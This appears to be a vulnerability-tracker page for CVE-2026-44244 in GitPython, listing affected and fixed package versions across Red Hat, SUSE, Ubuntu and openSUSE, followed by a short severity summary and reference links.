ansible-coreRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 1:2.16.19-1.el9ap | 1:2.16.19-1.el9ap |
python3.12-pulpcoreRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:3.49.63-2.el8ap | 0:3.49.63-2.el8ap |
python3.12-pulpcoreRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:3.49.63-2.el9ap | 0:3.49.63-2.el9ap |
receptorRed Hat:ansible_automation_platform_developer:2.5::el8 From an advisory covering 25 CVEs |
before 0:1.6.6-1.el8ap | 0:1.6.6-1.el8ap |
receptorRed Hat:ansible_automation_platform_inside:2.5::el8 From an advisory covering 25 CVEs |
before 0:1.6.6-1.el8ap | 0:1.6.6-1.el8ap |
receptorRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:1.6.6-1.el8ap | 0:1.6.6-1.el8ap |
receptorRed Hat:ansible_automation_platform_developer:2.5::el9 From an advisory covering 25 CVEs |
before 0:1.6.6-1.el9ap | 0:1.6.6-1.el9ap |
receptorRed Hat:ansible_automation_platform_inside:2.5::el9 From an advisory covering 25 CVEs |
before 0:1.6.6-1.el9ap | 0:1.6.6-1.el9ap |
receptorRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:1.6.6-1.el9ap | 0:1.6.6-1.el9ap |
receptorctlRed Hat:ansible_automation_platform_developer:2.5::el8 From an advisory covering 25 CVEs |
before 0:1.6.6-1.el8ap | 0:1.6.6-1.el8ap |
receptorctlRed Hat:ansible_automation_platform_inside:2.5::el8 From an advisory covering 25 CVEs |
before 0:1.6.6-1.el8ap | 0:1.6.6-1.el8ap |
receptor-debuginfoRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:1.6.6-1.el8ap | 0:1.6.6-1.el8ap |
receptor-debugsourceRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:1.6.6-1.el8ap | 0:1.6.6-1.el8ap |
receptorctlRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:1.6.6-1.el8ap | 0:1.6.6-1.el8ap |
receptorctlRed Hat:ansible_automation_platform_developer:2.5::el9 From an advisory covering 25 CVEs |
before 0:1.6.6-1.el9ap | 0:1.6.6-1.el9ap |
receptorctlRed Hat:ansible_automation_platform_inside:2.5::el9 From an advisory covering 25 CVEs |
before 0:1.6.6-1.el9ap | 0:1.6.6-1.el9ap |
receptor-debuginfoRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:1.6.6-1.el9ap | 0:1.6.6-1.el9ap |
receptor-debugsourceRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:1.6.6-1.el9ap | 0:1.6.6-1.el9ap |
receptorctlRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:1.6.6-1.el9ap | 0:1.6.6-1.el9ap |
python3.12-gitpythonRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:3.1.50-1.el8ap | 0:3.1.50-1.el8ap |
python3.12-gitpythonRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:3.1.50-1.el9ap | 0:3.1.50-1.el9ap |
automation-controllerRed Hat:ansible_automation_platform_developer:2.5::el8 From an advisory covering 25 CVEs |
before 0:4.6.30-2.el8ap | 0:4.6.30-2.el8ap |
automation-controller-cliRed Hat:ansible_automation_platform_developer:2.5::el8 From an advisory covering 25 CVEs |
before 0:4.6.30-2.el8ap | 0:4.6.30-2.el8ap |
python3.12-urllib3Red Hat:ansible_automation_platform_developer:2.5::el8 From an advisory covering 25 CVEs |
before 0:2.7.0-1.el8ap | 0:2.7.0-1.el8ap |
ansible-testRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 1:2.16.19-1.el8ap | 1:2.16.19-1.el8ap |
automation-controllerRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:4.6.30-2.el8ap | 0:4.6.30-2.el8ap |
automation-controller-cliRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:4.6.30-2.el8ap | 0:4.6.30-2.el8ap |
automation-controller-serverRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:4.6.30-2.el8ap | 0:4.6.30-2.el8ap |
automation-controller-uiRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:4.6.30-2.el8ap | 0:4.6.30-2.el8ap |
automation-eda-controllerRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:1.1.20-1.el8ap | 0:1.1.20-1.el8ap |
automation-eda-controller-baseRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:1.1.20-1.el8ap | 0:1.1.20-1.el8ap |
automation-eda-controller-base-servicesRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:1.1.20-1.el8ap | 0:1.1.20-1.el8ap |
automation-eda-controller-event-stream-servicesRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:1.1.20-1.el8ap | 0:1.1.20-1.el8ap |
automation-eda-controller-worker-servicesRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:1.1.20-1.el8ap | 0:1.1.20-1.el8ap |
automation-gatewayRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:2.5.20260715-1.el8ap | 0:2.5.20260715-1.el8ap |
automation-gateway-configRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:2.5.20260715-1.el8ap | 0:2.5.20260715-1.el8ap |
automation-hubRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:4.10.16-1.el8ap | 0:4.10.16-1.el8ap |
python3.12-galaxy-ngRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:4.10.16-1.el8ap | 0:4.10.16-1.el8ap |
python3.12-pulp-ansibleRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 1:0.25.6-1.el8ap | 1:0.25.6-1.el8ap |
python3.12-pulp-containerRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:2.19.12-1.el8ap | 0:2.19.12-1.el8ap |
python3.12-pyjwt+cryptoRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:2.13.0-1.el8ap | 0:2.13.0-1.el8ap |
python3.12-pyjwtRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:2.13.0-1.el8ap | 0:2.13.0-1.el8ap |
python3.12-pysequoiaRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:0.1.34-1.el8ap | 0:0.1.34-1.el8ap |
python3.12-pysequoia-debuginfoRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:0.1.34-1.el8ap | 0:0.1.34-1.el8ap |
python3.12-pysequoia-debugsourceRed Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:0.1.34-1.el8ap | 0:0.1.34-1.el8ap |
python3.12-urllib3Red Hat:ansible_automation_platform:2.5::el8 From an advisory covering 25 CVEs |
before 0:2.7.0-1.el8ap | 0:2.7.0-1.el8ap |
automation-controllerRed Hat:ansible_automation_platform_developer:2.5::el9 From an advisory covering 25 CVEs |
before 0:4.6.30-2.el9ap | 0:4.6.30-2.el9ap |
automation-controller-cliRed Hat:ansible_automation_platform_developer:2.5::el9 From an advisory covering 25 CVEs |
before 0:4.6.30-2.el9ap | 0:4.6.30-2.el9ap |
python3.12-urllib3Red Hat:ansible_automation_platform_developer:2.5::el9 From an advisory covering 25 CVEs |
before 0:2.7.0-1.el9ap | 0:2.7.0-1.el9ap |
ansible-testRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 1:2.16.19-1.el9ap | 1:2.16.19-1.el9ap |
automation-controllerRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:4.6.30-2.el9ap | 0:4.6.30-2.el9ap |
automation-controller-cliRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:4.6.30-2.el9ap | 0:4.6.30-2.el9ap |
automation-controller-serverRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:4.6.30-2.el9ap | 0:4.6.30-2.el9ap |
automation-controller-uiRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:4.6.30-2.el9ap | 0:4.6.30-2.el9ap |
automation-eda-controllerRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:1.1.20-1.el9ap | 0:1.1.20-1.el9ap |
automation-eda-controller-baseRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:1.1.20-1.el9ap | 0:1.1.20-1.el9ap |
automation-eda-controller-base-servicesRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:1.1.20-1.el9ap | 0:1.1.20-1.el9ap |
automation-eda-controller-event-stream-servicesRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:1.1.20-1.el9ap | 0:1.1.20-1.el9ap |
automation-eda-controller-worker-servicesRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:1.1.20-1.el9ap | 0:1.1.20-1.el9ap |
automation-gatewayRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:2.5.20260715-1.el9ap | 0:2.5.20260715-1.el9ap |
automation-gateway-configRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:2.5.20260715-1.el9ap | 0:2.5.20260715-1.el9ap |
automation-hubRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:4.10.16-1.el9ap | 0:4.10.16-1.el9ap |
python3.12-galaxy-ngRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:4.10.16-1.el9ap | 0:4.10.16-1.el9ap |
python3.12-pulp-ansibleRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 1:0.25.6-1.el9ap | 1:0.25.6-1.el9ap |
python3.12-pulp-containerRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:2.19.12-1.el9ap | 0:2.19.12-1.el9ap |
python3.12-pyjwt+cryptoRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:2.13.0-1.el9ap | 0:2.13.0-1.el9ap |
python3.12-pyjwtRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:2.13.0-1.el9ap | 0:2.13.0-1.el9ap |
python3.12-pysequoiaRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:0.1.34-1.el9ap | 0:0.1.34-1.el9ap |
python3.12-pysequoia-debuginfoRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:0.1.34-1.el9ap | 0:0.1.34-1.el9ap |
python3.12-pysequoia-debugsourceRed Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:0.1.34-1.el9ap | 0:0.1.34-1.el9ap |
python3.12-urllib3Red Hat:ansible_automation_platform:2.5::el9 From an advisory covering 25 CVEs |
before 0:2.7.0-1.el9ap | 0:2.7.0-1.el9ap |
automation-platform-uiRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 14 CVEs |
before 0:2.6.11-1.el9ap | 0:2.6.11-1.el9ap |
automation-controller-venv-towerRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 14 CVEs |
before 0:4.7.14-3.el9ap | 0:4.7.14-3.el9ap |
ansible-coreRed Hat:ansible_automation_platform_developer:2.6::el10 From an advisory covering 14 CVEs |
before 2:2.16.19-1.el10ap | 2:2.16.19-1.el10ap |
ansible-coreRed Hat:ansible_automation_platform:2.6::el10 From an advisory covering 14 CVEs |
before 2:2.16.19-1.el10ap | 2:2.16.19-1.el10ap |
ansible-coreRed Hat:ansible_automation_platform_developer:2.6::el9 From an advisory covering 14 CVEs |
before 1:2.16.19-1.el9ap | 1:2.16.19-1.el9ap |
ansible-coreRed Hat:ansible_automation_platform_inside:2.6::el9 From an advisory covering 14 CVEs |
before 1:2.16.19-1.el9ap | 1:2.16.19-1.el9ap |
ansible-coreRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 14 CVEs |
before 1:2.16.19-1.el9ap | 1:2.16.19-1.el9ap |
python3.12-pulpcoreRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 14 CVEs |
before 0:3.49.63-2.el9ap | 0:3.49.63-2.el9ap |
receptorRed Hat:ansible_automation_platform:2.6::el10 From an advisory covering 14 CVEs |
before 0:1.6.6-1.el10ap | 0:1.6.6-1.el10ap |
receptorRed Hat:ansible_automation_platform_developer:2.6::el9 From an advisory covering 14 CVEs |
before 0:1.6.6-1.el9ap | 0:1.6.6-1.el9ap |
receptorRed Hat:ansible_automation_platform_inside:2.6::el9 From an advisory covering 14 CVEs |
before 0:1.6.6-1.el9ap | 0:1.6.6-1.el9ap |
receptorRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 14 CVEs |
before 0:1.6.6-1.el9ap | 0:1.6.6-1.el9ap |
automation-gateway-proxyRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 14 CVEs |
before 0:2.6.17-1.el9ap | 0:2.6.17-1.el9ap |
automation-gateway-proxy-debugsourceRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 14 CVEs |
before 0:2.6.17-1.el9ap | 0:2.6.17-1.el9ap |
automation-gateway-proxy-serverRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 14 CVEs |
before 0:2.6.17-1.el9ap | 0:2.6.17-1.el9ap |
automation-gateway-proxy-server-debuginfoRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 14 CVEs |
before 0:2.6.17-1.el9ap | 0:2.6.17-1.el9ap |
python3.12-gitpythonRed Hat:ansible_automation_platform:2.6::el9 From an advisory covering 14 CVEs |
before 0:3.1.50-1.el9ap | 0:3.1.50-1.el9ap |
openvox-serverRed Hat:satellite_capsule:6.19::el9 From an advisory covering 22 CVEs |
before 0:8.15.2-1.el9sat | 0:8.15.2-1.el9sat |
openvox-serverRed Hat:satellite:6.19::el9 From an advisory covering 22 CVEs |
before 0:8.15.2-1.el9sat | 0:8.15.2-1.el9sat |
ansible-coreRed Hat:satellite_capsule:6.19::el9 From an advisory covering 22 CVEs |
before 1:2.16.19-1.el9sat | 1:2.16.19-1.el9sat |
ansible-testRed Hat:satellite_capsule:6.19::el9 From an advisory covering 22 CVEs |
before 1:2.16.19-1.el9sat | 1:2.16.19-1.el9sat |
ansible-coreRed Hat:satellite_maintenance:6.19::el9 From an advisory covering 22 CVEs |
before 1:2.16.19-1.el9sat | 1:2.16.19-1.el9sat |
ansible-coreRed Hat:satellite:6.19::el9 From an advisory covering 22 CVEs |
before 1:2.16.19-1.el9sat | 1:2.16.19-1.el9sat |
ansible-testRed Hat:satellite:6.19::el9 From an advisory covering 22 CVEs |
before 1:2.16.19-1.el9sat | 1:2.16.19-1.el9sat |
python3.12-aiohttpRed Hat:satellite_capsule:6.19::el9 From an advisory covering 22 CVEs |
before 0:3.14.3-1.el9pc | 0:3.14.3-1.el9pc |
python3.12-aiohttp-debuginfoRed Hat:satellite_capsule:6.19::el9 From an advisory covering 22 CVEs |
before 0:3.14.3-1.el9pc | 0:3.14.3-1.el9pc |
python3.12-aiohttp-debugsourceRed Hat:satellite_capsule:6.19::el9 From an advisory covering 22 CVEs |
before 0:3.14.3-1.el9pc | 0:3.14.3-1.el9pc |
python3.12-aiohttpRed Hat:satellite:6.19::el9 From an advisory covering 22 CVEs |
before 0:3.14.3-1.el9pc | 0:3.14.3-1.el9pc |
python3.12-aiohttp-debuginfoRed Hat:satellite:6.19::el9 From an advisory covering 22 CVEs |
before 0:3.14.3-1.el9pc | 0:3.14.3-1.el9pc |
python3.12-aiohttp-debugsourceRed Hat:satellite:6.19::el9 From an advisory covering 22 CVEs |
before 0:3.14.3-1.el9pc | 0:3.14.3-1.el9pc |
python3.12-gitpythonRed Hat:satellite_capsule:6.19::el9 From an advisory covering 22 CVEs |
before 0:3.1.59-1.el9pc | 0:3.1.59-1.el9pc |
python3.12-gitpythonRed Hat:satellite:6.19::el9 From an advisory covering 22 CVEs |
before 0:3.1.59-1.el9pc | 0:3.1.59-1.el9pc |
rubygem-jwtRed Hat:satellite_capsule:6.19::el9 From an advisory covering 22 CVEs |
before 0:2.10.3-1.el9sat | 0:2.10.3-1.el9sat |
rubygem-jwtRed Hat:satellite_utils:6.19::el9 From an advisory covering 22 CVEs |
before 0:2.10.3-1.el9sat | 0:2.10.3-1.el9sat |
rubygem-jwtRed Hat:satellite:6.19::el9 From an advisory covering 22 CVEs |
before 0:2.10.3-1.el9sat | 0:2.10.3-1.el9sat |
GitPythonRoot:PyPI |
before 3.1.47+aikido.8 | 3.1.47+aikido.83.1.46+aikido.53.1.47+aikido.93.1.46+aikido.123.1.46+aikido.113.1.46+aikido.133.1.47+aikido.23.1.47+aikido.33.1.46+aikido.63.1.46+aikido.73.1.47+aikido.43.1.47+aikido.53.1.46+aikido.83.1.47+aikido.63.1.46+aikido.93.1.47+aikido.73.1.46+aikido.10 |
python-GitPythonSUSE:Linux Enterprise Module for Python 3 15 SP7 From an advisory covering 27 CVEs |
before 3.1.34.1693646983.2a2ae77-150400.9.8.1 | 3.1.34.1693646983.2a2ae77-150400.9.8.1 |
python-GitPythonSUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS From an advisory covering 27 CVEs |
before 3.1.34.1693646983.2a2ae77-150400.9.8.1 | 3.1.34.1693646983.2a2ae77-150400.9.8.1 |
python-GitPythonSUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS From an advisory covering 27 CVEs |
before 3.1.34.1693646983.2a2ae77-150400.9.8.1 | 3.1.34.1693646983.2a2ae77-150400.9.8.1 |
python-GitPythonSUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS From an advisory covering 27 CVEs |
before 3.1.34.1693646983.2a2ae77-150400.9.8.1 | 3.1.34.1693646983.2a2ae77-150400.9.8.1 |
python-GitPythonSUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS From an advisory covering 27 CVEs |
before 3.1.34.1693646983.2a2ae77-150400.9.8.1 | 3.1.34.1693646983.2a2ae77-150400.9.8.1 |
python-GitPythonSUSE:Linux Enterprise Server 15 SP4-LTSS From an advisory covering 27 CVEs |
before 3.1.34.1693646983.2a2ae77-150400.9.8.1 | 3.1.34.1693646983.2a2ae77-150400.9.8.1 |
python-GitPythonSUSE:Linux Enterprise Server 15 SP5-LTSS From an advisory covering 27 CVEs |
before 3.1.34.1693646983.2a2ae77-150400.9.8.1 | 3.1.34.1693646983.2a2ae77-150400.9.8.1 |
python-GitPythonSUSE:Linux Enterprise Server 15 SP6-LTSS From an advisory covering 27 CVEs |
before 3.1.34.1693646983.2a2ae77-150400.9.8.1 | 3.1.34.1693646983.2a2ae77-150400.9.8.1 |
python-GitPythonSUSE:Linux Enterprise Server for SAP Applications 15 SP4 From an advisory covering 27 CVEs |
before 3.1.34.1693646983.2a2ae77-150400.9.8.1 | 3.1.34.1693646983.2a2ae77-150400.9.8.1 |
python-GitPythonSUSE:Linux Enterprise Server for SAP Applications 15 SP5 From an advisory covering 27 CVEs |
before 3.1.34.1693646983.2a2ae77-150400.9.8.1 | 3.1.34.1693646983.2a2ae77-150400.9.8.1 |
python-GitPythonSUSE:Linux Enterprise Server for SAP Applications 15 SP6 From an advisory covering 27 CVEs |
before 3.1.34.1693646983.2a2ae77-150400.9.8.1 | 3.1.34.1693646983.2a2ae77-150400.9.8.1 |
python-gitUbuntu:Pro:14.04:LTS |
before 0.3.2~RC1-3ubuntu0.1~esm3, plus listed versions 0.3.2~RC1-20.3.2~RC1-30.3.2~RC1-3ubuntu0.1~esm10.3.2~RC1-3ubuntu0.1~esm2 |
0.3.2~RC1-3ubuntu0.1~esm3 |
python-gitUbuntu:Pro:16.04:LTS |
before 1.0.1+git137-gc8b8379-2.1ubuntu0.1~esm4, plus listed versions 1.0.1+git137-gc8b8379-11.0.1+git137-gc8b8379-21.0.1+git137-gc8b8379-2.11.0.1+git137-gc8b8379-2.1ubuntu0.1~esm11.0.1+git137-gc8b8379-2.1ubuntu0.1~esm2 |
1.0.1+git137-gc8b8379-2.1ubuntu0.1~esm4 |
python-gitUbuntu:Pro:18.04:LTS |
before 2.1.8-1ubuntu0.1~esm4, plus listed versions 2.1.5-12.1.6-12.1.7-12.1.8-12.1.8-1ubuntu0.1~esm12.1.8-1ubuntu0.1~esm2 |
2.1.8-1ubuntu0.1~esm4 |
python-gitUbuntu:Pro:20.04:LTS |
before 3.0.7-1ubuntu0.1~esm4, plus listed versions 2.1.11-13.0.4-13.0.5-13.0.7-13.0.7-1ubuntu0.1~esm13.0.7-1ubuntu0.1~esm2 |
3.0.7-1ubuntu0.1~esm4 |
python-gitUbuntu:Pro:22.04:LTS |
before 3.1.24-1ubuntu0.1~esm3, plus listed versions 3.1.14-13.1.23-13.1.24-13.1.24-1ubuntu0.1~esm13.1.24-1ubuntu0.1~esm2 |
3.1.24-1ubuntu0.1~esm3 |
python-gitUbuntu:Pro:24.04:LTS |
before 3.1.37-3ubuntu0.1~esm2, plus listed versions 3.1.30-13.1.37-13.1.37-3 |
3.1.37-3ubuntu0.1~esm2 |
python-gitUbuntu:25.10 |
All versions, plus listed versions 3.1.44-1 |
None known |
python-gitUbuntu:26.10 |
All versions, plus listed versions 3.1.46-13.1.50-13.1.61-1 |
None known |
python-gitUbuntu:Pro:26.04:LTS |
before 3.1.46-1ubuntu0.1~esm1, plus listed versions 3.1.44-13.1.45-13.1.46-1 |
3.1.46-1ubuntu0.1~esm1 |
python-gitUbuntu:Pro:14.04:LTS From an advisory covering 5 CVEs |
before 0.3.2~RC1-3ubuntu0.1~esm3, plus listed versions 0.3.2~RC1-20.3.2~RC1-30.3.2~RC1-3ubuntu0.1~esm10.3.2~RC1-3ubuntu0.1~esm2 |
0.3.2~RC1-3ubuntu0.1~esm3 |
python-gitUbuntu:Pro:16.04:LTS From an advisory covering 5 CVEs |
before 1.0.1+git137-gc8b8379-2.1ubuntu0.1~esm4, plus listed versions 1.0.1+git137-gc8b8379-11.0.1+git137-gc8b8379-21.0.1+git137-gc8b8379-2.11.0.1+git137-gc8b8379-2.1ubuntu0.1~esm11.0.1+git137-gc8b8379-2.1ubuntu0.1~esm2 |
1.0.1+git137-gc8b8379-2.1ubuntu0.1~esm4 |
python-gitUbuntu:Pro:18.04:LTS From an advisory covering 5 CVEs |
before 2.1.8-1ubuntu0.1~esm4, plus listed versions 2.1.5-12.1.6-12.1.7-12.1.8-12.1.8-1ubuntu0.1~esm12.1.8-1ubuntu0.1~esm2 |
2.1.8-1ubuntu0.1~esm4 |
python-gitUbuntu:Pro:20.04:LTS From an advisory covering 5 CVEs |
before 3.0.7-1ubuntu0.1~esm4, plus listed versions 2.1.11-13.0.4-13.0.5-13.0.7-13.0.7-1ubuntu0.1~esm13.0.7-1ubuntu0.1~esm2 |
3.0.7-1ubuntu0.1~esm4 |
python-gitUbuntu:Pro:22.04:LTS From an advisory covering 5 CVEs |
before 3.1.24-1ubuntu0.1~esm3, plus listed versions 3.1.14-13.1.23-13.1.24-13.1.24-1ubuntu0.1~esm13.1.24-1ubuntu0.1~esm2 |
3.1.24-1ubuntu0.1~esm3 |
python-gitUbuntu:Pro:24.04:LTS From an advisory covering 5 CVEs |
before 3.1.37-3ubuntu0.1~esm2, plus listed versions 3.1.30-13.1.37-13.1.37-3 |
3.1.37-3ubuntu0.1~esm2 |
python-gitUbuntu:Pro:26.04:LTS From an advisory covering 5 CVEs |
before 3.1.46-1ubuntu0.1~esm1, plus listed versions 3.1.44-13.1.45-13.1.46-1 |
3.1.46-1ubuntu0.1~esm1 |
python-GitPythonopenSUSE:Tumbleweed From an advisory covering 3 CVEs |
before 3.1.49-1.1 | 3.1.49-1.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-44244 is a high vulnerability (CVSS 7.8) in Gitpython-developers Gitpython, published May 6, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.24%, the 14th percentile. Fixed in gitpython 3.1.49.
References
github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67
github.com/gitpython-developers/GitPython/releases/tag/3.1.49
nvd.nist.gov/vuln/detail/CVE-2026-44244
github.com/advisories/GHSA-v87r-6q3f-2j67
github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44244.json
security-tracker.debian.org/tracker/CVE-2026-44244
Show 194 moreShow less
github.com/gitpython-developers/GitPython
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-2306
nvd.nist.gov/vuln/detail/CVE-2026-42215
nvd.nist.gov/vuln/detail/CVE-2026-44243
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-2307
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-2308
access.redhat.com/errata/RHSA-2026:42078
access.redhat.com/security/updates/classification
docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.5/html/release_notes/patch_releases
docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.5
bugzilla.redhat.com/show_bug.cgi?id=2453496
bugzilla.redhat.com/show_bug.cgi?id=2456333
bugzilla.redhat.com/show_bug.cgi?id=2460927
bugzilla.redhat.com/show_bug.cgi?id=2461624
bugzilla.redhat.com/show_bug.cgi?id=2466582
bugzilla.redhat.com/show_bug.cgi?id=2466684
bugzilla.redhat.com/show_bug.cgi?id=2467822
bugzilla.redhat.com/show_bug.cgi?id=2477154
bugzilla.redhat.com/show_bug.cgi?id=2480756
bugzilla.redhat.com/show_bug.cgi?id=2480757
bugzilla.redhat.com/show_bug.cgi?id=2480761
bugzilla.redhat.com/show_bug.cgi?id=2485379
bugzilla.redhat.com/show_bug.cgi?id=2487937
bugzilla.redhat.com/show_bug.cgi?id=2487938
bugzilla.redhat.com/show_bug.cgi?id=2487942
bugzilla.redhat.com/show_bug.cgi?id=2487943
bugzilla.redhat.com/show_bug.cgi?id=2487947
bugzilla.redhat.com/show_bug.cgi?id=2487948
bugzilla.redhat.com/show_bug.cgi?id=2487949
bugzilla.redhat.com/show_bug.cgi?id=2489126
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_42078.json
access.redhat.com/security/cve/CVE-2026-4800
cve.org/CVERecord?id=CVE-2026-4800
nvd.nist.gov/vuln/detail/CVE-2026-4800
cna.openjsf.org/security-advisories.html
github.com/lodash/lodash/security/advisories/GHSA-r5fr-rjxr-66jc
access.redhat.com/security/cve/CVE-2026-6321
cve.org/CVERecord?id=CVE-2026-6321
nvd.nist.gov/vuln/detail/CVE-2026-6321
github.com/fastify/fast-uri/security/advisories/GHSA-q3j6-qgpj-74h6
access.redhat.com/security/cve/CVE-2026-6322
cve.org/CVERecord?id=CVE-2026-6322
nvd.nist.gov/vuln/detail/CVE-2026-6322
github.com/fastify/fast-uri/security/advisories/GHSA-v39h-62p7-jpjc
access.redhat.com/security/cve/CVE-2026-8643
cve.org/CVERecord?id=CVE-2026-8643
nvd.nist.gov/vuln/detail/CVE-2026-8643
github.com/pypa/pip/commit/8eb178480bd1a2b223f509fc430796b265158dfb
access.redhat.com/security/cve/CVE-2026-11332
cve.org/CVERecord?id=CVE-2026-11332
nvd.nist.gov/vuln/detail/CVE-2026-11332
github.com/ansible/ansible
access.redhat.com/security/cve/CVE-2026-12382
cve.org/CVERecord?id=CVE-2026-12382
nvd.nist.gov/vuln/detail/CVE-2026-12382
access.redhat.com/security/cve/CVE-2026-12701
cve.org/CVERecord?id=CVE-2026-12701
nvd.nist.gov/vuln/detail/CVE-2026-12701
access.redhat.com/security/cve/CVE-2026-25681
cve.org/CVERecord?id=CVE-2026-25681
nvd.nist.gov/vuln/detail/CVE-2026-25681
go.dev/cl/781703
go.dev/issue/79574
groups.google.com/g/golang-announce/c/iI-mYSI0lu8
pkg.go.dev/vuln/GO-2026-5029
access.redhat.com/security/cve/CVE-2026-27136
cve.org/CVERecord?id=CVE-2026-27136
nvd.nist.gov/vuln/detail/CVE-2026-27136
go.dev/cl/781685
go.dev/issue/79575
pkg.go.dev/vuln/GO-2026-5030
access.redhat.com/security/cve/CVE-2026-32281
cve.org/CVERecord?id=CVE-2026-32281
nvd.nist.gov/vuln/detail/CVE-2026-32281
go.dev/cl/758061
go.dev/issue/78281
groups.google.com/g/golang-announce/c/0uYbvbPZRWU
pkg.go.dev/vuln/GO-2026-4946
access.redhat.com/security/cve/CVE-2026-33811
cve.org/CVERecord?id=CVE-2026-33811
nvd.nist.gov/vuln/detail/CVE-2026-33811
go.dev/cl/767860
go.dev/issue/78803
groups.google.com/g/golang-announce/c/qcCIEXso47M
pkg.go.dev/vuln/GO-2026-4981
access.redhat.com/security/cve/CVE-2026-39821
cve.org/CVERecord?id=CVE-2026-39821
nvd.nist.gov/vuln/detail/CVE-2026-39821
go.dev/cl/767220
go.dev/issue/78760
pkg.go.dev/vuln/GO-2026-5026
